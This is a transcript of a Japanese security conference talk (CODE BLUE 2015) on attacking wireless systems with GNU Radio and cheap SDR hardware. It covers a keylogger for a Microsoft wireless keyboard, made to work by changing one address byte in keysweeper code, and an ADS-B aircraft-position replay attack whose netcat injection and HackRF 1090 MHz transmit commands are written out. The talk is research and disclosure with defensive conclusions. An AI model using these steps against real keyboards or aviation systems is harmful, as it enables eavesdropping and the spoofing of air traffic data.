ワイヤレス技術をアタックで検証 by 堀合啓一 - code blue 2015
TRANSCRIPT
堀合 啓一
Fujitsu System Integration LABs.
CODE BLUE 2015
ワイヤレス技術をアタックで検証
アジェンダ
背景
IoT (Internet of Things)の時代
•ワイヤレス技術が鍵
•解析にはSDR(Software Defined Radio)の技術が有効
SDRツールGNU Radioの紹介
ワイヤレス通信の強力な実験用ツール
入手が容易で安価な周辺ハードウェアとともに動作
ワイヤレス通信をアタックで検証
Attack#1 ワイヤレス・キーボードのキーロガー
Attack#2 ADS-Bのリプレイ攻撃
1
ワイヤレス関係の最近の発表
ソフトウェアやファームウエアの悪用・改ざん
Drone attack by malware and network
• http://www.slideshare.net/codeblue_jp/cb14-dongcheol-hongja/
RF信号レベルの傍受・インジェクション
SPREAD SPECTRUM SATCOM HACKING: ATTACKING THE GLOBALSTAR SIMPLEX DATA SERVICE
• https://www.blackhat.com/docs/us-15/materials/us-15-Moore-Spread-Spectrum-Satcom-Hacking-Attacking-The-GlobalStar-Simplex-Data-Service.pdf
Low-cost GPS simulator – GPS spoofing by SDR
• Lin Huang, Qing Yang, DEFCON23
• https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/Lin%20Huang%20&%20Qing%20Yang/DEFCON-23-Lin-Huang-Qing-Yang-GPS-Spoofing.pdf
2
2001年、米国のEric Blossomが始めたオープンソースのソフト
ウェア無線機ツールキット
マルチプラットフォーム(Linux/FreeBSD/OSX/Windows)
ソフトウェア無線技術の多くが専用ハードウェア上のFPGAで動
作するのに対し、PC上で動作
GNURadio CompanionのGUI操作でフローグラフを作成
フローグラフ→XMLファイル→Python→C++
ライセンス GPL ver3
http://gnuradio.org/redmine/projects/gnuradio/wiki
GNURadioの概要
3
GNURadioの構成要素
フローグラフの要素
SOURCE BLOCK SINK
Software
or
Hardware
Software
Python
C++
Software
or
Hardware
入力 出力 処理
4
Sources
Software
波形発生(Sin, Cos, 三角、のこぎり,矩形)
各種雑音
ファイル
Hardware
PC Audio
その他の周辺ハードウェア
•RTL-SDR, HackRF, BladeRF, USRP
5
Blocks
演算子(論理、バイト、整数、実数、複素数…)
定数、変数(スライダー)、型変換
演算(和、差、積、除、Log, RMS, 積分…)
フィルター(LowPass, HighPass, BandPass,
Reject, FFT, Hilbert, IIR, Decimation…)
変調・復調(AM、FM、FSK、PSK、QAM、OFDM…)
レベル制御(AGC, Mute, Squelch, 移動平均…)
ネットワーク(TCP, UDP, Socket…)
その他 6
Sinks Software
Hardware
PC Audio
その他の周辺ハードウェア
• HackRF, BladeRF, USRP, その他
SCOPE FFT Water Fall
Histogram Constellation Plot
ファイル
その他
7
周辺ハードウェアの例
RTL-SDR HackRF BladeRF USRP
周波数帯[MHz] 24-1800 1-6000 300-3800 70-6000
A/D変換 bit数 8 8 12 12
帯域[MHz] 2.8 20 28 56
送受信機能 RX Tx | Rx Tx & Rx Tx & Rx
価格 $20 $300 $420 $675
8
FlowGraphの例
利用可能なツール
9
FM受信機
RTL-SDRとGNU RadioによるFM受信機の構成例
RTL-SDR
10
ISM 2.4GHz band
WiFi/Bluetooth frequency allocation
http://www.digikey.com/es/articles/techzone/2013/jun/shaping-the-wireless-future-with-low-energy-applications-and-systems
11
ISM 2.4GHz bandの観測例
HackRF
12
ワイヤレス・デバイスのアタック
アタック対象の調査
FCCのサイトでFCC IDサーチ
他の誰かが写真などを公開?
自分で分解調査
必要な情報
RFチップのデータシート
•周波数帯、変調方式、伝送速度、データ形式
信号の観測と解析
13
FCC ID Search
https://apps.fcc.gov/oetcf/eas/reports/ViewExhibitReport.cfm?mode=Exhibits&RequestTimeout=500&calledFromFrame=N&application_id=Al%2FFPgcInlgHLjNZvXbP
TQ%3D%3D&fcc_id=A6O60001058RX
14
信号の観測と解析の手順
電波の受信
信号の確認: GNU Radio, SDR#
受信信号をファイルへ記録: GNU Radio, rtl_sdr
解析
波形を詳細に観測:baudline
必要部分の切り出し(選択範囲をファイルへ出力) :baudline
Demodulation: GNU Radio | in-house scripts
Decode / Parse / Decrypt
• 0/1のビット列に変換。(16進dumpは適さない)
•ビットパターンの特徴に注目
15
信号の観測ツール
Baudline
信号を時間軸と周波数軸の両面から可視化と解析を支援するツール
利用環境
• Linux(x86_64,PowerPC)
• Mac OS X
• Solaris SPARC
目的の信号部分を選択し
ファイルへ出力
http://www.baudline.com/index.html 16
信号の観測例
17
アタック・デモ #1
Microsoft wireless keyboard 800のキーロガー
最初は、単に keysweeper(*1) の再現に挑戦
日本語仕様のMS Wireless Keyboard 800では動作を確認できなかった
原因の探求にGNU Radioを活用し、動作を確認するまでの過程を紹介
https://github.com/samyk/keysweeper 18
Wireless Keyboardのキーロガー
27MHz帯
セキュリティが考慮されていなかったため、簡単に傍受できた
2000年代に販売終了
2.4GHz帯
Bluetooth/WiFiと同じ周波数帯
Bluetooth仕様に準拠したものはガードが固い?
独自仕様のキーボードは?
19
関連プロジェクト
Travis Goodspeed, 2010
The GoodFET is an open-source JTAG adapter, loosely based
upon the TI MSP430 FET UIF and EZ430U boards
http://goodfet.sourceforge.net/
KeyKeriKiプロジェクト(CanSecWest 2010 )
Developed some device with ARM Cortex MPU and radio module
which can keyboard sniffing and remote command execution.
http://www.remote-exploit.org/articles/keykeriki_v2_0__8211_2_4ghz/index.html
Keysweeper(2015年1月)
処理の効率化とシステム化
• デバイスアドレスの一部が 0xCD固定に注目
• USB充電器の中に埋め込み、EEPROMへロギング
• キーワードを検知したら携帯モジュールでSMS送信
• キーストロークをリアルタイムで別デバイスへ転送など
https://github.com/samyk/keysweeper 20
ブレッドボード上で実験
Sniffer hardware
USB
制御PC
Microsoft Wireless
Keyboard 800 Arduino nano
•2403~2480MHzを1MHzステップでスキャン
•デバイスIDの中の1byte( = 0xCD )を探索
•続く2byteが(0x0A38 | 0x0A78)であれば、ス
キャンを停止して、ロギングを開始
約1500行のArduinoプログラム
nRF24L01
・2.4GHz ISM band
・GFSK modulation
・1Mbps or 2Mbps
21
Success?
Radio setup
End radio setup
scan
Tuning to 2480
Potential keyboard: AA AA 5A A9 CD 27 55 49
Tuning to 2403
Tuning to 2404
Potential keyboard: E4 AA AA A5 CD 55 A5 5A
Tuning to 2405
Tuning to 2406
Tuning to 2407
Tuning to 2408
…………………
No !!
22
Wireless keyboard wave form
23
Baudlineでデータを切り出す
24
Demodulation
-50
-40
-30
-20
-10
0
10
20
30
40
50
1 51 101 151 201 251 301
-50
-40
-30
-20
-10
0
10
20
30
40
50
1 51 101 151 201 251 301
I/Q
Vfm Vfm = ( I ( dQ/dt) - Q ( dI/dt)) / (I ^2 + Q^2)
プリアンブル bit = Vfm > 0 ? 0:1 bit
25
Get BIT sequence
bit = Vfm > 0 ? 0:1
1111111111110011000100000000001001101111101111111111111111111111111111111
11110010101010101010010011001111100101000101101100111001000000000001
01001111000000111010000000101001110000111011010011000110011101010011
110111000001000111001010011001110011100111001110001111011111010011100
011111111111110011001000000000000111111101111111111111110111111110111111
1111111111111111111111111001010101010101001001100111110010100010110110
01110010000000000010100111100000011101000000010100111000011101101001
100011001110101001111011100000100011100101001100111010100111001110011
10001111011111010011101011111111111001100000010001000100011111111111111
11111111111011111111111111111111101010101001011001111100101000101101100
11100100000000000101001111000000111010000000101001110000111011010011
0001100111010100111101110000010001110
……….
26
nRF24L01 Packet format
Preamble
0xAA | 0x55
Address
3-5 Byte
PCF
9 bit
Payload
0- 32Byte
CRC
1-2 byte
http://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01
27
KeyKerikiプロジェクトの成果
・Microsoft Wireless Keyboard 800のデバイス・アドレスが 0xCDから開始する5バイトで構成
・キーストロークは、このデバイス・アドレス使った単純なXOR演算で暗号化
http://www.remote-exploit.org/content/keykeriki_v2_cansec_v1.1.pdf
28
Get BIT sequence
bit = Vfm > 0 ? 0:1
1111111111110011000100000000001001101111101111111111111111111111111111111
11110010101010101010010011001111100101000101101100111001000000000001
01001111000000111010000000101001110000111011010011000110011101010011
110111000001000111001010011001110011100111001110001111011111010011100
011111111111110011001000000000000111111101111111111111110111111110111111
1111111111111111111111111001010101010101001001100111110010100010110110
01110010000000000010100111100000011101000000010100111000011101101001
100011001110101001111011100000100011100101001100111010100111001110011
10001111011111010011101011111111111001100000010001000100011111111111111
11111111111011111111111111111111101010101001011001111100101000101101100
11100100000000000101001111000000111010000000101001110000111011010011
0001100111010100111101110000010001110
……….
0x0A78 (0000101001111000)を検索
Packet control field 9 bit
Devie ID
Preamble 8bit + address 5 byte + packet control 9bit + payload
29
Device ID detection
{ P.A. } { [p0] p[1] [p2] [p3] [p4]}
AA A9 33 E5 16 CE
10101010 10101001 00110011 11100101 00010110 11001110
{PktCTL Bit} 0A 78 1D 01
010000000 00001010 01111000 00011101 00000001
{ payload .......
0100111000011101101001100011001110101001111011100……
// From keysweeper_mcu_src https://github.com/samyk/keysweeper
if (radio.available())
{
radio.read(&p, PKT_SIZE);
if (p[4] == 0xCD) // 0xCD -> 0xCE for Japanese KBD
{
sp("Potential keyboard: ");
DEVICE ID
30
変更(0xCD→0xCE)後の動作
{………………}
Tuning to 2479
Tuning to 2480
Potential keyboard: A9 33 E5 16 CE 43 5 3C
KEYBOARD FOUND! Locking in on channel 80
2setupRadio
16: 0A 78 1D 01 56 03 43 00 00 1E 00 00 00 00 00 8F <- Key 1 Press
> 1
8: 0A 38 1D 01 56 03 00 84
16: 0A 78 1D 01 57 03 43 00 00 00 00 00 00 00 00 90 <- Key OFF
16: 0A 78 1D 01 58 03 43 00 00 1F 00 00 00 00 00 80 <- Key 2 Press
> 2
8: 0A 38 1D 01 58 03 00 8A
{………………}
(*1) USB HID usage table: http://www.freebsddiary.org/APC/usb_hid_usages.php
(*1)
31
Key Logger DEMO
32
まとめ #1
GNU Radioを活用し、日本語仕様のMicrosoft
Wireless Keyboard 800のデバイスアドレスのKEYを検出(0xCE)
デバイスアドレスのKEYを0xCEに変更することで、キーロガーの動作を確認できた。
機微な情報を扱う環境では、ワイヤレス・キーボードを使わない。特に、独自仕様のデバイスには要注意
注意
国内で実験する場合は、nRF24Lからの送信を無効化すべき
• boolean shoutKeystrokes = true; → false;
33
アタック・デモ #2
航空機搭載ADS-B(*1)のリプレイ・アタック
航空は重要インフラの一部
ADS-Bは次世代の航空管制システム
Blackhat2012, DEFCON20などでアタックのデモが行われている
SDRの技術を応用し、アタックの再現を試みた。
(*1)Automatic Dependent Surveillance–Broadcast 34
空の混雑状況
http://www.flightradar24.com/
35
ADS-Bの概要
従来のレーダでは、位置精度が1~2NMであるため、航空機運行の安全を
確保するには、運行間隔を広くする必要があった。
運行機数の増大に対応するため、新たなシステムが必要とされ、GPS利用
による精度の高い位置情報を提供するADS-Bが次世代の航空管制システ
ムとして1980-1990に開発された。
現在は、旅客機の約70%がADS-Bを装備
(出典 http://www.flightradar24.com/how-it-works)
欧州では2017年、米国では2020年までに、装備が義務付け
問題点
暗号化なし
認証なしでブロードキャスト
単純な符号化と変調方式
36
ADS-Bの仕組み
ADS-B
Automatic Dependent Surveillance–Broadcast
航空機はGPS等から得た自機位置情報、速度、高
度などの情報を放送型データリンクで送信
画像 http://www.enri.go.jp/news/osirase/pdf/e_navi10.pdf
37
ADS-Bに関する論文等
脆弱性などに関する発表
Donald L. McCallie, Major, USAF (2011年)
• http://apps.fcc.gov/ecfs/document/view.action?id=7021694523
Andrei Costin, Aurelien Francillon, BlackHat2012
• https://media.blackhat.com/bh-us-12/Briefings/Costin/BH_US_12_Costin_Ghosts_In_Air_Slides.pdf
Brad render, DEFCON20 (2012年)
• http://korben.info/wp-content/uploads/defcon/SpeakerPresentations/Renderman/DEFCON-20-RenderMan-Hackers-plus-Airplanes.pdf
Hugo Teso, CyCon2013 (2013年)
• https://ccdcoe.org/cycon-2013.html
対策などに関する発表
Martin Strohmeier, Ivan Martinovic、(2014年)
• Detecting False-Data Injection Attacks on Air Traffic Control Protocols
• http://www.cs.ox.ac.uk/files/6604/wisec2014-abstract.pdf
Kyle D. Wesson,Brian L. Evans,他 (2014年)
• Can Cryptography Secure Next Generation Air Traffic Surveillance?
• https://radionavlab.ae.utexas.edu/images/stories/files/papers/adsb_for_submission.pdf
Seoung-Hyeon Lee , Yong-Kyun Kim, Deok-Gyu Lee 他、(2014年)
• Protection Method for Data Communication between ADS-BSensor and Next-Generation Air Traffic Control Systems
• http://www.mdpi.com/2078-2489/5/4/622
38
想定される脅威
傍受(Eavesdropping)
ジャミング(Jamming)
偽航跡のインジェクション
(Fake track injection)
39
ADS-Bを受信するには?
電波の受信
海外向ディジタルTV受信用USBスティック
1000~2000円程度で購入可能
信号処理と表示
PC
•Windows, Mac, Linux
スマートフォン、タブレット
40
ADS-B受信用ソフトウェア デコーダ
ADSB# http://airspy.com/index.php/downloads/
RTL1090 http://rtl1090.web99.de/
Modesdeco2(表示機能あり)
• http://radarspotting.com/forum/index.php/topic,2978.msg13471.html
dump1090(表示機能あり)
• https://github.com/antirez/dump1090
表示
Virtual Radar Server http://www.virtualradarserver.co.uk/
adsbSCOPE
• http://www.sprut.de/electronic/pic/projekte/adsb/adsb_en.html#downloads
PlanePlotter http://www.coaa.co.uk/planeplotter.htm
41
受信覆域
Antenna
42
ADS-Bのデータフォーマット
データフォーマット
実際の受信I/Q信号
https://media.defcon.org/DEF%20CON%2020/DEF%20CON%2020%20slides/DEF%20CON%2020%20Hacking%20Conference%20Pr
esentation%20By%20RenderMan%20-%20Hacker%20and%20Airplanes%20No%20Good%20Can%20Come%20Of%20This%20-
%20Slides.m4v
43
GNU Radioによる波形観測
(I2 + Q2) I/Q
44
ADS-B受信例
*8d7583a5585b575a9ebc4bbb3f04;
CRC: 000000 (ok)
DF 17: ADS-B message.
Capability : 5 (Level 2+3+4 )
ICAO Address : 7583a5
Extended Squitter Type: 11
Extended Squitter Sub : 0
Extended Squitter Name: Airborne Position …….
F flag : odd
T flag : non-UTC
Altitude : 17125 feet
………….
16進表記のRawデータ
航空機の位置情報等
A/D変換後のI/Q信号
復調 / デコード
データの解釈
45
Attack Vector
IPネットワーク
ADS-B
受信局 ADS-B
受信局 ADS-B
受信局
ADS-B
Broadcast
GPS衛星
Actor V2
V3
画像 http://www.mlit.go.jp/koku/koku_fr14_000007.html
V1
46
受信信号のリプレイ攻撃(V1)
受信したrawデータ(ファイル名xxxx.raw)
rawデータをIPネットワーク経由でインジェクション
$cat xxxx.raw | nc target_IP target_PORT
※実際には、攻撃対象のサーバーへ接続するための認証などの仕組みの突破が必要
*8d869210581fe3bf4350dfd62439;
*5da40455385715;
*8d86dca29914ee0f20f410ef2595;
*8d780c3c581db79c18a4b0ffc872;
*8d867f609914b993e8700ba91251;
*02a1839b9e229d;
*……………
47 47
受信信号のリプレイ攻撃(V2)
rawデータからADS-Bパルス列信号のファイルを生成
$cat xxxx.raw | ./adsb-pulsegen test_file.bin
生成したファイルで変調したRF信号を発生
$hackrf_transfer –f 1090MHz –s 2MHz –t test_file.bin –x 0
*8d869210581fe3bf4350dfd62439;
*5da40455385715;
*8d86dca29914ee0f20f410ef2595;
*8d780c3c581db79c18a4b0ffc872;
*8d867f609914b993e8700ba91251;
*02a1839b9e229d;
*0261819c1d1e5a;
……………
48
DEMO
IPネットワークを介したインジェクション(V1)
実時間でADS-B信号を受信し、マップ上へ表示
過去に受信したRAWデータをインジェクション
RF信号を介したインジェクション(V2)
受信したRAWデータからI/Q信号ファイルを生成
I/Q信号で変調したRF信号をインジェクション
49
ADS-B network injection
http://www.flightradar24.com/
Network injection demo Screen shot
50
ADS-B RF injection RF injection demo screen shot
51
航空交通管制のセキュリティ?
更新されない理由.
脅威の認識
安全性、インターオペラ
ビリティの確保
国際的な議論に長期間
を要す
•議論の期間
•開発の期間
•半数搭載までの期間 画像 http://www.jatcaonline.com/SSR_system.JPG
https://upload.wikimedia.org/wikipedia/commons/f/fe/D-VOR_PEK.JPG
ASR/SSR
ILS ( glide slope / Localizer )
VOR/DME
52
まとめ #2
ADS-Bに対する攻撃は技術的には非常に容易
ADS-Bに限らず、電波に依存している航空管制システムは
ジャミング等に脆弱
可能性のある攻撃シナリオ
テロリストや国家レベルのアクターが、目的を達成する手段の一つと
して、偽航跡のインジェクションやジャミングなどで航空交通管制の
混乱を図る。
早期対策は困難か?(国際的な合意が必要)
受信の検知・追尾アルゴリズムによる緩和対策の検討が必要
環境を整備し疑似体験による訓練と非常時の運用手順の充実
53
おわりに
SDRの実験ツールGNU Radioや安価な周辺機器の出現で、RFレベルのアタックに必要な技術的敷居が低下している
航空交通管制システムなど、電波に依存する多くの既存システムは、WiFiやスマートフォンなどの民生技術の進歩に追従できていない
抜本的な対策には長期間を要す
運用でカバーするには、事態を想定した対処マニュアルの充実と訓練が必要
54
Thank you !
Questions ?
55
56 Copyright 2010 FUJITSU LIMITED